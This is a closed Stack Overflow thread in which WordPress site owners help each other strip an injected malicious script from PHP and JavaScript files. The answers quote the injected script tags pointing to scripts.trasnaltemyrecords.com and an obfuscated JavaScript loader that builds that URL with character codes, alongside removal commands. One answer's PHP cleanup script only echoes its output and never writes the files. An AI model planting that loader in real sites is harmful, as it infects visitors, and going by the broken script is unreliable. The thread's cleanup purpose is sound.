Remove malware line of text from multiple files in Linux [closed] - malware

Question

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 3 years ago.
Improve this question
Recently I have noticed that all my WP sites have injected malware in all the index.php files. I have identified the problem and patch it, however I can not delete the malware linces from the files. I tried this command:
find . -name "*.php" -exec sed -i 's/<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>><//' {} \;
but I get error:
find: missing argument to `-exec'
so I guess I have syntax error. Can you please tell me the exact command to delete in all files this line:
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Answer 1

This is the line I used, I had thee same problem this morning.
grep -rl "<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>" | xargs sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"

Answer 2

Check if the plugin "super-socialat" exists and delete it, this is malware too. We found this plugin on all sites with this **** malware.
And please check if adminer.php is uploaded to your server. It seems to be their using adminer to hack the sites:
https://sansec.io/labs/2019/01/17/adminer-4.6.2-file-disclosure-vulnerability/
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

Answer 3

I encountered the same problem.
The script is not in file, it's in database.
<script src='https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043' type='text/javascript'></script>
Use better search and replace plugin to replace it with blank.

Answer 4

The JS files are also affected.
I ran find -type f -mtime -1
and found this code prepended to all my .js files.
var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script');
s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Answer 5

wordpress's temp-crawl.php causes the issue.
i have wp and native php sites in the server. suspicious filer re index.* they have this script line mentioned above
also every .js files re infected as well.
and there s a file in the root directory wp-craft-report-conf.php must be deleted.
then it seems everything is working well. at least for now

Answer 6

i have a same problem
i add 127.0.0.1 trasnaltemyrecords.com into /etc/hosts
grep -r * 'scripts.trasnaltemyrecords.com' > file_with_scripts.txt
With this script, i remove this injection
$txt_file = file_get_contents('file_with_scripts.txt');
$rows = explode("\n", $txt_file);
array_shift($rows);
foreach($rows as $row => $data)
{
$filename = $data ;
$file = fopen($filename, 'rw');
$contents = fread($file, filesize($filename));
$new_content = preg_replace('/^<script(.*)script>/i', '', $contents);
echo $new_content;
fclose($file);
}
Check your database if you use ACF
Check too this topic in Wordpress.org
https://wordpress.org/support/topic/malware-found-injected-script/